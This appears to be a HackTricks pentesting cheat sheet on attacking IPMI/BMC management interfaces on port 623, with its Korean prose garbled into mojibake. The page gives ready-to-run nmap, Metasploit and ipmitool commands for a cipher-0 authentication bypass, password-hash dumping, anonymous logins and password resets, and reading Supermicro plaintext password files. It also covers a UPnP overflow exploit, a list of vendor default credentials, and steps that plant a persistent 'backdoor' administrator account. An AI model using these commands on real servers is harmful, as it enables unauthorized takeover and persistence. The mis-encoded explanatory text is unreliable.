623/UDP/TCP - IPMI
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
IPMI ๊ฐ์
**Intelligent Platform Management Interface (IPMI)**๋ ์ด์ ์ฒด์ ๋ ์ ์ ์ํ์ ๊ด๊ณ์์ด ์ปดํจํฐ ์์คํ ์ ์๊ฒฉ ๊ด๋ฆฌ ๋ฐ ๋ชจ๋ํฐ๋ง์ ์ํ ํ์คํ๋ ์ ๊ทผ ๋ฐฉ์์ ์ ๊ณตํฉ๋๋ค. ์ด ๊ธฐ์ ์ ์์คํ ๊ด๋ฆฌ์๊ฐ ์์คํ ์ด ๊บผ์ ธ ์๊ฑฐ๋ ์๋ตํ์ง ์์ ๋์๋ ์๊ฒฉ์ผ๋ก ์์คํ ์ ๊ด๋ฆฌํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ํนํ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ์ ์ ์ฉํฉ๋๋ค:
- OS ๋ถํ ์ ๊ตฌ์ฑ
- ์ ์ ๊ด๋ฆฌ
- ์์คํ ์ฅ์ ๋ณต๊ตฌ
IPMI๋ ์จ๋, ์ ์, ํฌ ์๋ ๋ฐ ์ ์ ๊ณต๊ธ ์ฅ์น๋ฅผ ๋ชจ๋ํฐ๋งํ ์ ์์ผ๋ฉฐ, ์ธ๋ฒคํ ๋ฆฌ ์ ๋ณด ์ ๊ณต, ํ๋์จ์ด ๋ก๊ทธ ๊ฒํ ๋ฐ SNMP๋ฅผ ํตํ ๊ฒฝ๊ณ ์ ์ก ๊ธฐ๋ฅ๋ ์ ๊ณตํฉ๋๋ค. ์๋์ ํ์์ ์ธ ์์๋ ์ ์ ๊ณต๊ธ ์ฅ์น์ LAN ์ฐ๊ฒฐ์ ๋๋ค.
1998๋ Intel์ ์ํด ๋์ ๋ ์ดํ, IPMI๋ ์ฌ๋ฌ ๊ณต๊ธ์ ์ฒด์ ์ง์์ ๋ฐ์ ์๊ฒฉ ๊ด๋ฆฌ ๊ธฐ๋ฅ์ ํฅ์์์ผฐ์ผ๋ฉฐ, ํนํ 2.0 ๋ฒ์ ์ LAN์ ํตํ ์ง๋ ฌ ์ง์์ด ์ถ๊ฐ๋์์ต๋๋ค. ์ฃผ์ ๊ตฌ์ฑ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Baseboard Management Controller (BMC): IPMI ์์ ์ ์ํ ์ฃผ์ ๋ง์ดํฌ๋ก ์ปจํธ๋กค๋ฌ.
- ํต์ ๋ฒ์ค ๋ฐ ์ธํฐํ์ด์ค: ICMB, IPMB ๋ฐ ๋ค์ํ ๋ก์ปฌ ๋ฐ ๋คํธ์ํฌ ์ฐ๊ฒฐ์ ์ํ ๋ด๋ถ ๋ฐ ์ธ๋ถ ํต์ ์ ์ํ ๊ฒ.
- IPMI ๋ฉ๋ชจ๋ฆฌ: ๋ก๊ทธ ๋ฐ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ธฐ ์ํ ๊ฒ.

๊ธฐ๋ณธ ํฌํธ: 623/UDP/TCP (๋ณดํต UDP์์ ์คํ๋์ง๋ง TCP์์๋ ์คํ๋ ์ ์์ต๋๋ค)
Enumeration
Discovery
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
๋ฒ์ ์ ์๋ณํ ์ ์์ต๋๋ค:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI ์ทจ์ฝ์
IPMI 2.0 ์์ญ์์ Dan Farmer์ ์ํด ์ค์ํ ๋ณด์ ๊ฒฐํจ์ด ๋ฐ๊ฒฌ๋์์ผ๋ฉฐ, cipher type 0๋ฅผ ํตํด ์ทจ์ฝ์ ์ด ๋ ธ์ถ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ Dan Farmer์ ์ฐ๊ตฌ์์ ์์ธํ ๋ฌธ์ํ๋์ด ์์ผ๋ฉฐ, ์ ํจํ ์ฌ์ฉ์๊ฐ ํ๊ฒ์ด ๋๋ ๊ฒฝ์ฐ ์ด๋ค ๋น๋ฐ๋ฒํธ๋ก๋ ๋ฌด๋จ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด ์ฝ์ ์ HP, Dell, Supermicro์ ๊ฐ์ ์ ์กฐ์ ์ฒด์ ๋ค์ํ BMC์์ ๋ฐ๊ฒฌ๋์ด ๋ชจ๋ IPMI 2.0 ๊ตฌํ์์ ๊ด๋ฒ์ํ ๋ฌธ์ ๋ฅผ ์์ฌํฉ๋๋ค.
Cipher 0์ ํตํ IPMI ์ธ์ฆ ์ฐํ
์ด ๊ฒฐํจ์ ํ์งํ๊ธฐ ์ํด ๋ค์ Metasploit ๋ณด์กฐ ์ค์บ๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
์ด ๊ฒฐํจ์ ์
์ฉ์ ์๋์็คบ๋ ๋๋ก ipmitool์ ์ฌ์ฉํ์ฌ ๊ฐ๋ฅํ๋ฉฐ, ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ์ ๋์ด ๋ฐ ์์ ์ ํ์ฉํฉ๋๋ค:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP ์ธ์ฆ ์๊ฒฉ ๋น๋ฐ๋ฒํธ ํด์ ๊ฒ์
์ด ์ทจ์ฝ์ ์ ๊ธฐ์กด ์ฌ์ฉ์ ์ด๋ฆ์ ๋ํ ์ํธ๊ฐ ์ถ๊ฐ๋ ํด์ ๋น๋ฐ๋ฒํธ(MD5 ๋ฐ SHA1)๋ฅผ ๊ฒ์ํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด ์ทจ์ฝ์ ์ ํ ์คํธํ๊ธฐ ์ํด Metasploit์ ๋ชจ๋์ ์ ๊ณตํฉ๋๋ค:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI ์ต๋ช ์ธ์ฆ
๋ง์ BMC์ ๊ธฐ๋ณธ ๊ตฌ์ฑ์ null ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ ๋ฌธ์์ด๋ก ํน์ง์ง์ด์ง๋ โ์ต๋ช
โ ์ก์ธ์ค๋ฅผ ํ์ฉํฉ๋๋ค. ์ด ๊ตฌ์ฑ์ ipmitool์ ์ฌ์ฉํ์ฌ ๋ช
๋ช
๋ ์ฌ์ฉ์ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ค์ ํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI ํ๋ฌธ ๋น๋ฐ๋ฒํธ
IPMI 2.0์ ์ค์ํ ์ค๊ณ ์ ํ์ ์ธ์ฆ ๋ชฉ์ ์ผ๋ก BMC ๋ด์ ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ฅํด์ผ ํจ์ ์๊ตฌํฉ๋๋ค. Supermicro๊ฐ ์ด๋ฌํ ๋น๋ฐ๋ฒํธ๋ฅผ /nv/PSBlock ๋๋ /nv/PSStore์ ๊ฐ์ ์์น์ ์ ์ฅํ๋ ๊ฒ์ ์ฌ๊ฐํ ๋ณด์ ๋ฌธ์ ๋ฅผ ์ผ๊ธฐํฉ๋๋ค:
cat /nv/PSBlock
Supermicro IPMI UPnP ์ทจ์ฝ์
Supermicro์ IPMI ํ์จ์ด์ UPnP SSDP ๋ฆฌ์ค๋๋ฅผ ํฌํจํ๋ ๊ฒ์ ํนํ UDP ํฌํธ 1900์์ ์ฌ๊ฐํ ๋ณด์ ์ํ์ ์ด๋ํฉ๋๋ค. Rapid7์ ๊ณต๊ฐ์์ ์์ธํ ์ค๋ช ๋ Intel SDK for UPnP Devices ๋ฒ์ 1.3.1์ ์ทจ์ฝ์ ์ BMC์ ๋ํ ๋ฃจํธ ์ ๊ทผ์ ํ์ฉํฉ๋๋ค:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP๋ ์ ์กฐ ์ค์ Integrated Lights Out (iLO) ์ ํ์ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌด์์๋ก ์ค์ ํฉ๋๋ค. ์ด ๊ดํ์ ์ ์ ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๋ ๋ค๋ฅธ ์ ์กฐ์ ์ฒด์ ๋์กฐ์ ์ ๋๋ค. ๋ค์ํ ์ ํ์ ๋ํ ๊ธฐ๋ณธ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ ์์ฝ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- **HP Integrated Lights Out (iLO)**๋ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ๋ก ๊ณต์ฅ ๋ฌด์์ 8์ ๋ฌธ์์ด์ ์ฌ์ฉํ์ฌ ๋ ๋์ ๋ณด์ ์์ค์ ๋ณด์ฌ์ค๋๋ค.
- Dell์ iDRAC, IBM์ IMM, ๋ฐ Fujitsu์ Integrated Remote Management Controller์ ๊ฐ์ ์ ํ์ ๊ฐ๊ฐ โcalvinโ, โPASSW0RDโ (0์ด ํฌํจ๋จ), โadminโ๊ณผ ๊ฐ์ ์ฝ๊ฒ ์ถ์ธกํ ์ ์๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- ์ ์ฌํ๊ฒ, Supermicro IPMI (2.0), Oracle/Sun ILOM, ๋ฐ ASUS iKVM BMC๋ โADMINโ, โchangemeโ, โadminโ์ ๋น๋ฐ๋ฒํธ๋ก ์ฌ์ฉํ๋ ๊ฐ๋จํ ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํฉ๋๋ค.
Accessing the Host via BMC
Baseboard Management Controller (BMC)์ ๋ํ ๊ด๋ฆฌ ์ก์ธ์ค๋ ํธ์คํธ ์ด์ ์ฒด์ ์ ์ ๊ทผํ ์ ์๋ ๋ค์ํ ๊ฒฝ๋ก๋ฅผ ์ฝ๋๋ค. ๊ฐ๋จํ ์ ๊ทผ ๋ฐฉ์์ BMC์ ํค๋ณด๋, ๋น๋์ค, ๋ง์ฐ์ค (KVM) ๊ธฐ๋ฅ์ ํ์ฉํ๋ ๊ฒ์ ๋๋ค. ์ด๋ GRUB์ ํตํด ๋ฃจํธ ์ ธ๋ก ํธ์คํธ๋ฅผ ์ฌ๋ถํ ํ๊ฑฐ๋ ๊ฐ์ CD-ROM์์ ๋ณต๊ตฌ ๋์คํฌ๋ก ๋ถํ ํ์ฌ ์ํํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๋ฐฉ๋ฒ์ ํธ์คํธ์ ๋์คํฌ๋ฅผ ์ง์ ์กฐ์ํ ์ ์๊ฒ ํ๋ฉฐ, ๋ฐฑ๋์ด ์ฝ์ , ๋ฐ์ดํฐ ์ถ์ถ ๋๋ ๋ณด์ ํ๊ฐ๋ฅผ ์ํ ํ์ํ ์์ ์ ํฌํจํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ ํธ์คํธ๋ฅผ ์ฌ๋ถํ ํด์ผ ํ๋ฏ๋ก ์๋นํ ๋จ์ ์ด ์์ต๋๋ค. ์ฌ๋ถํ ์์ด ์คํ ์ค์ธ ํธ์คํธ์ ์ ๊ทผํ๋ ๊ฒ์ ๋ ๋ณต์กํ๋ฉฐ ํธ์คํธ์ ๊ตฌ์ฑ์ ๋ฐ๋ผ ๋ค๋ฆ ๋๋ค. ํธ์คํธ์ ๋ฌผ๋ฆฌ์ ๋๋ ์ง๋ ฌ ์ฝ์์ด ๋ก๊ทธ์ธ๋ ์ํ๋ผ๋ฉด BMC์ KVM ๋๋ ์ง๋ ฌ-over-LAN (sol) ๊ธฐ๋ฅ์ ํตํด ์ฝ๊ฒ ์ฅ์ ํ ์ ์์ต๋๋ค. i2c ๋ฒ์ค ๋ฐ Super I/O ์นฉ๊ณผ ๊ฐ์ ๊ณต์ ํ๋์จ์ด ๋ฆฌ์์ค์ ์ ์ฉ์ ํ์ํ๋ ๊ฒ์ ์ถ๊ฐ ์กฐ์ฌ๊ฐ ํ์ํ ์์ญ์ ๋๋ค.
Introducing Backdoors into BMC from the Host
BMC๊ฐ ์ฅ์ฐฉ๋ ํธ์คํธ๋ฅผ ์์์ํค๋ฉด, ๋ก์ปฌ BMC ์ธํฐํ์ด์ค๋ฅผ ํ์ฉํ์ฌ ๋ฐฑ๋์ด ์ฌ์ฉ์ ๊ณ์ ์ ์ฝ์
ํ ์ ์์ต๋๋ค, ์๋ฒ์ ์ง์์ ์ธ ์กด์ฌ๋ฅผ ์์ฑํฉ๋๋ค. ์ด ๊ณต๊ฒฉ์ ์์๋ ํธ์คํธ์ **ipmitool**์ด ์กด์ฌํ๊ณ BMC ๋๋ผ์ด๋ฒ ์ง์์ด ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค. ๋ค์ ๋ช
๋ น์ ์ธ์ฆ ์์ด ํธ์คํธ์ ๋ก์ปฌ ์ธํฐํ์ด์ค๋ฅผ ์ฌ์ฉํ์ฌ BMC์ ์ ์ฌ์ฉ์ ๊ณ์ ์ ์ฃผ์
ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค. ์ด ๊ธฐ์ ์ Linux, Windows, BSD, ์ฌ์ง์ด DOS๋ฅผ ํฌํจํ ๋ค์ํ ์ด์ ์ฒด์ ์ ์ ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


